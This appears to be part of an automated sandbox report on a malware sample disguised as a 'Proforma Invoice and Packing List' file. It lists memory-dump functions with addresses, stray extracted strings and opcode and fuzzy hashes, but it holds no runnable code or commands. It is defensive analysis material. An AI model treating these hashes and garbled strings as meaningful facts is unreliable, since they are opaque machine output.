Instruction Fuzzy Hash: 1681A774E01218DFDF18DFA9D984A9DBBF2BF89300F149069D419AB365DB309985CF50

Function 0269D599 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0269D7EF
PH^q, xrefs: 0269D800

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 935ce7ef8ed185a471f4f4a144c1be763b1b1ab7a7591980febd5f936af70284
Instruction ID: 036a55df3957f7aae902cc026b3adbd7dda59e4b0d499232055ac61a320f2559
Opcode Fuzzy Hash: 935ce7ef8ed185a471f4f4a144c1be763b1b1ab7a7591980febd5f936af70284
Instruction Fuzzy Hash: 5481B674E01218CFDB14DFAAD984A9DBBF2BF88300F14D469E419AB365DB319985CF50

Function 0269C788 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0269C9F0
PH^q, xrefs: 0269C9DF

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 586bbfbd7f4f60daff21f14765a7cfe5ccfd4b23425469dcb3805e678f948b81
Instruction ID: 927a5bedac3fef6ae85491203fb43affce9dd35052a8791f5d667a84f3a7f691
Opcode Fuzzy Hash: 586bbfbd7f4f60daff21f14765a7cfe5ccfd4b23425469dcb3805e678f948b81
Instruction Fuzzy Hash: 7181B574E01218CFDB14DFAAD984B9DBBF2BF88300F14806AE419AB365DB309985CF50

Function 06589328 Relevance: 2.0, APIs: 1, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4194981319.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6580000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5eda5f80e03b356c98ed72c846a4c9de98f51ef869cf1630948141ed9fe12c5
Instruction ID: ae4550787897011de9ce25d6a179c69673ac55e89e3899c6de6a5f4e22f85b51
Opcode Fuzzy Hash: b5eda5f80e03b356c98ed72c846a4c9de98f51ef869cf1630948141ed9fe12c5
Instruction Fuzzy Hash: E8223B74E01219CFDB54EFA9C884BADBBB2BF88300F1085A9E449AB355DB349D85CF50

Function 0269FBB6 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c194e1131ed2fb32b451f45189661f5597fda8c03ec60e69f669274d18ee453
Instruction ID: d422f92472ecfd42de077c5bfe55e214ce84a1cec821288790a3c49a0b7a0b4a
Opcode Fuzzy Hash: 8c194e1131ed2fb32b451f45189661f5597fda8c03ec60e69f669274d18ee453
Instruction Fuzzy Hash: B391E374E00218CFDB44DFA9D984AADBBB6FF88300F208569D419BB368DB359946CF50

Function 0269EA9B Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3a9a081cc6faacd30c06b8b56cc00966f7fdbdd2d81636c7c982987d70d74b
Instruction ID: 1dc906e39ec00c0bc8d9b58f1315288e12c3cff70d62df0d5f7b764a790e0e79
Opcode Fuzzy Hash: 7a3a9a081cc6faacd30c06b8b56cc00966f7fdbdd2d81636c7c982987d70d74b
Instruction Fuzzy Hash: 9551B874E01208DFDB18DFA9D584A9DBBB6FF88300F14806AE815BB365DB315846CF54

Function 0269EAA8 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f7a1bbb74053ec93182ecd410fec2a8d50a19032181a2999eeb99efe278650
Instruction ID: c8adeca6d9f8bc463159bb6fd7080de08bf91224ee94ab69cd0dbba919cfd3a0
Opcode Fuzzy Hash: 17f7a1bbb74053ec93182ecd410fec2a8d50a19032181a2999eeb99efe278650
Instruction Fuzzy Hash: E851A574E01208DFDB18DFAAD584A9DBBF6BF88300F20806AE815AB364DB319945CF50

Function 026976F1 Relevance: 10.5, Strings: 8, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 026977E9
,bq, xrefs: 02697BA0
(o^q, xrefs: 026978B2
(o^q, xrefs: 02697815
,bq, xrefs: 02697B90
(o^q, xrefs: 02697BFF
(o^q, xrefs: 0269772E
(o^q, xrefs: 02697C0F

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: d5fc39293ecb790f1cb705f812447e3c183a0f9ef0473444117efcb65e82f8e3
Instruction ID: e419eb23fba2d82cfab12260ef81f3e1baed227cadc758ad7e4f86ef9510e590
Opcode Fuzzy Hash: d5fc39293ecb790f1cb705f812447e3c183a0f9ef0473444117efcb65e82f8e3
Instruction Fuzzy Hash: FF122570A10209CFCF26CF69D984AAEBBF6FF88314F1485A9E4159B365DB31E941CB50

Function 0269AEF0 Relevance: 3.9, Strings: 3, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 0269AECD
(o^q, xrefs: 0269B079
3, xrefs: 0269AED8

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$3
API String ID: 0-1458047847
Opcode ID: 18f829a6220249cb4c01888690dfe480934c6b363e23b854180e88e832ae0446
Instruction ID: 7762546a85bc2f20f9008677db331b7a307771a6eac4718073fb7d31ca01a744
Opcode Fuzzy Hash: 18f829a6220249cb4c01888690dfe480934c6b363e23b854180e88e832ae0446
Instruction Fuzzy Hash: 0C41E732B042448FDB149B68E8586AE7BFAFBC8351F14406AE516D7391DF319C02CB95

Function 02695F38 Relevance: 2.8, Strings: 2, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 02696056
Hbq, xrefs: 02696023

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: ef4e138014a405a6f22073fcafa4d9f10b08ae10a3e68830f029e95b41f98572
Instruction ID: f24f525fea9d621073e6a9efc37b16aacbaa524db86fc63a73341a6e3605de78
Opcode Fuzzy Hash: ef4e138014a405a6f22073fcafa4d9f10b08ae10a3e68830f029e95b41f98572
Instruction Fuzzy Hash: B6B1AB707042558FDB159B38C8A4B7E7BAAEF88315F14856AE806CB391DF38DC42CB95

Function 02696498 Relevance: 2.7, Strings: 2, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 02696578
,bq, xrefs: 0269656E

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: e8e68e508f8b4002cc274ab7773e44d1ff1bd7eab2ac4367dad111b35d582680
Instruction ID: efff7afc9d5dcc3d7d73a17e52b94e5125207fc9765a73f07b3a801d9764e117
Opcode Fuzzy Hash: e8e68e508f8b4002cc274ab7773e44d1ff1bd7eab2ac4367dad111b35d582680
Instruction Fuzzy Hash: 2B816E34A00605CFCF18DF69C488A6ABBBEFF89314B258169D506DB365DF31E842CB52

Function 02693CB1 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

Xbq, xrefs: 02693CF6
Xbq, xrefs: 02693CCD

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: a2192c832dca7e0070da08332f31705770970b2296786253f4aa4feeebb79370
Instruction ID: e0b54bac0eb118b148292e17da99c5bd66c59d90db0982533ff1e0022c725306
Opcode Fuzzy Hash: a2192c832dca7e0070da08332f31705770970b2296786253f4aa4feeebb79370
Instruction Fuzzy Hash: 2131E235B442258BDF1C4A6D89A427EB6AAEBC4205F1844BAE802C73D4DF75CC9AC791

Function 02698EF8 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

$^q, xrefs: 02698FD7
$^q, xrefs: 02698FB4

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 3124b6de38671f98807ca673f3de266f5d1f92dee5797cc5e9726853f24925f8
Instruction ID: 7f160d79d3cc2f5dde8be6e1a6f5bcaf0b42e3e9084957d85f9165b6b6cb7440
Opcode Fuzzy Hash: 3124b6de38671f98807ca673f3de266f5d1f92dee5797cc5e9726853f24925f8
Instruction Fuzzy Hash: 6D31E4703041458FDF298B39D8A473E776BEB86781B1564AAF012DB392EF29CC82C751

Function 02699D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02699D6D
4'^q, xrefs: 02699D84

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: fc59af0154cacc18c65bf8a36116a6c604a0fe37c7184c48aa35f818c47d1a7d
Instruction ID: 01320c91f409b72705edea5232920b714f57d0c27cfe1f7d4f12c117ff13a793
Opcode Fuzzy Hash: fc59af0154cacc18c65bf8a36116a6c604a0fe37c7184c48aa35f818c47d1a7d
Instruction Fuzzy Hash: 2FF068353011186FDB082AAA986497FBBDFEBCC361B14442DB90AC7390DE76CC4297A1

Function 02690C8F Relevance: 1.8, Strings: 1, Instructions: 546COMMON

Download Yara Rule

Strings

LR^q, xrefs: 02690F19

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: cf29e8e63557c0a8e63b2ef8a67d792b0530b3b86653cc25630b8dded6a2f5c6
Instruction ID: e0d1a6fa6b001d712d11254bf9dc7af2bf794782da6bfd8e34a649fb373b5b91
Opcode Fuzzy Hash: cf29e8e63557c0a8e63b2ef8a67d792b0530b3b86653cc25630b8dded6a2f5c6
Instruction Fuzzy Hash: 42522074D01619CFCB54EF64E998A8DBBB2FB88301F1045E9D409A7368DB70AE85DF81

Function 02690CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 02690F19

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: e9336098908628e34c9e75232105003745cb0873a013f913005517f024c69495
Instruction ID: 5c31cc10f4354b03218bda12b88c1de92aaeb4563ef498afdbd84699a561b308
Opcode Fuzzy Hash: e9336098908628e34c9e75232105003745cb0873a013f913005517f024c69495
Instruction Fuzzy Hash: 67522174D01619CFCB54EF64E998A8DBBB2FB88301F1045E9D409A7368DB70AE85DF81

Function 0658992C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 06589A6E

Memory Dump Source

Source File: 00000009.00000002.4194981319.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6580000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cb8e26765b5caab5ee86bddb3944fc6a53f3d688bbdd377e75de24eabb8b8dbc
Instruction ID: 801986394c24f7aa6ea934d33ee352c8531ea543c9b400d1a306a903f90baa69
Opcode Fuzzy Hash: cb8e26765b5caab5ee86bddb3944fc6a53f3d688bbdd377e75de24eabb8b8dbc
Instruction Fuzzy Hash: 4E117974E041099FDB84EFADD884ABDBBB5FB88314F148169E804F7641EB30A981CB60

Function 0269E129 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 857ac912fb87a8d64e1ee05a8a99b1fd82a7aec0bd652f0ab5b9879bf43855db
Instruction ID: 98e0d884ac658b0cfe8a3aa93a1f3a3281b083efa5637cc0a3a9aaafa0426f8d
Opcode Fuzzy Hash: 857ac912fb87a8d64e1ee05a8a99b1fd82a7aec0bd652f0ab5b9879bf43855db
Instruction Fuzzy Hash: 7B12A87582125B8FE6402B20F6BC2AEBB60FB5F327344AD55F10BC0295DB785C89DE61

Function 0269E138 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e9183ca3d1e03a445cd14ecab623ceb04bb289c4e60ae91c720487199af09d
Instruction ID: 2a58fda8f1c2782e01a8e8211a070ddc7c66d2ab418785971fb06e37a693d862
Opcode Fuzzy Hash: 49e9183ca3d1e03a445cd14ecab623ceb04bb289c4e60ae91c720487199af09d
Instruction Fuzzy Hash: EF12A77582125B8FE6402B24F6BC26EBB60FB5F327344AD15F10BC0295DBB85C89DE61

Function 026980D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5006e71d62be2dcc7a6b309a3590521141ec1492f9b0a97836ff32226abd4d84
Instruction ID: cfab7195a181d585d287465a2754cea2808131e5307ce6d8619d0fa69a87f0f9
Opcode Fuzzy Hash: 5006e71d62be2dcc7a6b309a3590521141ec1492f9b0a97836ff32226abd4d84
Instruction Fuzzy Hash: A4714A347006068FCF15DF68C894A6E7BEAAF8A705B1500AAE806DB3B1DF74DC41CB91

Function 0269F527 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c70ea0ea33a590c3069335e77073550f721a3f5c2928aeab95aba38d7bb150
Instruction ID: b7dbbd66a1584ddeca4d619c434613d386b68a89f47c3617e4b7484c83a9928b
Opcode Fuzzy Hash: a8c70ea0ea33a590c3069335e77073550f721a3f5c2928aeab95aba38d7bb150
Instruction Fuzzy Hash: 4D513174D01309DFDB14DFA4D994AAEBBB2FF88304F208169D809AB394DB359986CF41

Function 0269D869 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbc019ae6f41453654b80b83f54db603668f86dc77fb0584b1f2889e1f6ce44
Instruction ID: 8e699b3a822ff725c6a8614c9bc3d89de5ef806f0f055c1f3fbcc020cf99ac77
Opcode Fuzzy Hash: 2bbc019ae6f41453654b80b83f54db603668f86dc77fb0584b1f2889e1f6ce44
Instruction Fuzzy Hash: 95519374E012189FDB58DFA9D5849DDBBF2FF89310F209169E809AB365DB319946CF00

Function 02694197 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57aa6307b8375c045f83b3a1faf8b2ec882f18184148ddf66535cf154e2fb2d2
Instruction ID: b2301a94607f349f9e1ee529e1192b5c5f553cc23e63e74683000e3c96f01fe0
Opcode Fuzzy Hash: 57aa6307b8375c045f83b3a1faf8b2ec882f18184148ddf66535cf154e2fb2d2
Instruction Fuzzy Hash: 0D51B274E01208DFCB48DFA9D59499DBBF2FF89314B209569E809AB324DB35AD42CF50

Function 026941A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e658e7c197123b1e69db51b0c2eb498360952d76288729d2b93f5d1b721848b5
Instruction ID: 32c3a5c0fd4efdfd77ca6da73fa7b3941ec9d5f8cdf9b07d1a0568ce74dd6a38
Opcode Fuzzy Hash: e658e7c197123b1e69db51b0c2eb498360952d76288729d2b93f5d1b721848b5
Instruction Fuzzy Hash: 6D51B074E01308CFCB08DFA9D59499DBBF6FF89314B209469E809AB324DB35A942CF50

Function 0269A303 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9e2509380bab5aa21f9eae5e97b15125182e1dfaa9cb9e8fa7bbe528e5698d8
Instruction ID: 06abc61fcb8011fa203680c38737305d1c12648e6a8a10d77ce0dd547bb780e7
Opcode Fuzzy Hash: e9e2509380bab5aa21f9eae5e97b15125182e1dfaa9cb9e8fa7bbe528e5698d8
Instruction Fuzzy Hash: 1A415931A04249DFCF15CFA8C844AADBBF6EF4A354F048156E945AB392DB34ED15CB50

Function 02699C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c85fb8ddce74a7632748acbde320e218fc3b6839b6b9d86fc222e46a3a7dee
Instruction ID: 656b418be7e784d32d38b9a7e92792bbdd8d8d4baf1b98b111a482c6dc0c0985
Opcode Fuzzy Hash: 68c85fb8ddce74a7632748acbde320e218fc3b6839b6b9d86fc222e46a3a7dee
Instruction Fuzzy Hash: 79417E706052458FDB00CF6CC884B6A7BAAEF89305F54846AE908CB395DB75EC46CB91

Function 02695658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b87274d29251bdbeb68374d6ad51e09c2476b6888b315e3b5e6a868a9c2f024
Instruction ID: 36f42bbee29ce2c5221c23b82219e216b9d11c96a13d91005431cb62606d4946
Opcode Fuzzy Hash: 8b87274d29251bdbeb68374d6ad51e09c2476b6888b315e3b5e6a868a9c2f024
Instruction Fuzzy Hash: 7C31A031300249EFDF06AF64D858AAE7BB6FB88341F104065F9169B354DB35DE21DB91

Function 02692790 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4df318861d23e2e18a5ba6d2bce4cf7e98e5a602deac728c3d93d45fee00d08
Instruction ID: 93785f2606d4eec527404507b3a63bce7f953836044fd2debd925d8e661a49bc
Opcode Fuzzy Hash: a4df318861d23e2e18a5ba6d2bce4cf7e98e5a602deac728c3d93d45fee00d08
Instruction Fuzzy Hash: 7B318AB4D052498FCB01DFB8D5A41EEBFB5EF4A314F1041AAD804B7351EB350A46CBA1

Function 02698380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f242c9db921d57f51ce5234e64a447125064479593e885e54dfcefddb85acea
Instruction ID: d654dc0babcd3a3a8b80acff6114ea3aaaed9d0c11ac6e3b5a96fe30ed597a4a
Opcode Fuzzy Hash: 6f242c9db921d57f51ce5234e64a447125064479593e885e54dfcefddb85acea
Instruction Fuzzy Hash: F22168313042014BEF185A2A846873A769BAFC7F59F148079D506CB7A8EF7ACC42D382

Function 02698370 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1c8010ef34c285da804ef1f7699ab89f3dbe49044357a43465246b33facbaf0
Instruction ID: a4d804e274a6c5454a5b7dfaee546934a7f2d38dbbd199b8ef9450017987cdbb
Opcode Fuzzy Hash: d1c8010ef34c285da804ef1f7699ab89f3dbe49044357a43465246b33facbaf0
Instruction Fuzzy Hash: AA21AC713042014BDF191B35D46863E76ABAFC7E4AB18806AD946CB3A5EF69CC52D382

Function 026928F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97bf52ce880811a21f71375b636189e57ce926a01ce0a5ad5c30b8b5b15f177c
Instruction ID: 138b47ffae56b6ef1f8a2d1a9997e068701193ef4c4bcc3579aea722e47c9f19
Opcode Fuzzy Hash: 97bf52ce880811a21f71375b636189e57ce926a01ce0a5ad5c30b8b5b15f177c
Instruction Fuzzy Hash: 34219A75A00105AFCF24DF24C450AAE77A9EB9D664B20C459EC5E9B340DF34EA43CBD2

Function 025FD28C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4177868623.00000000025FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 025FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_25fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df19290b1484029d6fd033bb790f8f42dfa876161b7184ea1a2fbff9068f18ef
Instruction ID: a6e35adb75754d17c3f72dce3c23d154e068e5dccdbdc2aace4e265d18c14da9
Opcode Fuzzy Hash: df19290b1484029d6fd033bb790f8f42dfa876161b7184ea1a2fbff9068f18ef
Instruction Fuzzy Hash: 21212272504200DFDB45DF14D9C0B2ABFB5FB88314F24C5A9EA094B296C33AD416CBA2

Function 02696300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775a1e0e4e27c4b9fc4d9cca13e573624c0cc0983b639ae8939f9797bf9cb698
Instruction ID: f8fcb7c61939f54853ab0729b75fcc19c8418e63b3a069ba9cfc2dfb331b1152
Opcode Fuzzy Hash: 775a1e0e4e27c4b9fc4d9cca13e573624c0cc0983b639ae8939f9797bf9cb698
Instruction Fuzzy Hash: F5212431300A119FDB189A2AC4A8A2EB3AEFFC97557044079E816CB394CF75EC02CB80

Function 0260D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4177951990.000000000260D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0260D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_260d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53d27a86b3b8ade2a2412b8cec46243e0db619b05ed1337d3eedb7e74dd87ae6
Instruction ID: 8b1ed5e4ee8ec2a4ff1dac990876e0636e2c7400299e8147a44b69ab5eb2f0f2
Opcode Fuzzy Hash: 53d27a86b3b8ade2a2412b8cec46243e0db619b05ed1337d3eedb7e74dd87ae6
Instruction Fuzzy Hash: A3210071504244EFDB18DF64C9C4F27BBA5EB88314F20C6A9E84E4B392C73AD847DA61

Function 02695649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fea6d17328687691e31fada456e3bb6ce69e5d0af1ffcb51720d4a86b8aed669
Instruction ID: 12d136e94be8206a809c753a8c8cc73f9364a19aea25f608d4e569bd588d4829
Opcode Fuzzy Hash: fea6d17328687691e31fada456e3bb6ce69e5d0af1ffcb51720d4a86b8aed669
Instruction Fuzzy Hash: F1214331705149AFEF06AF24D85876A3BA6FB88315F1040AAF9068B354DF34DE16CB90

Function 02699761 Relevance: .1, Instructions: 65COMMON

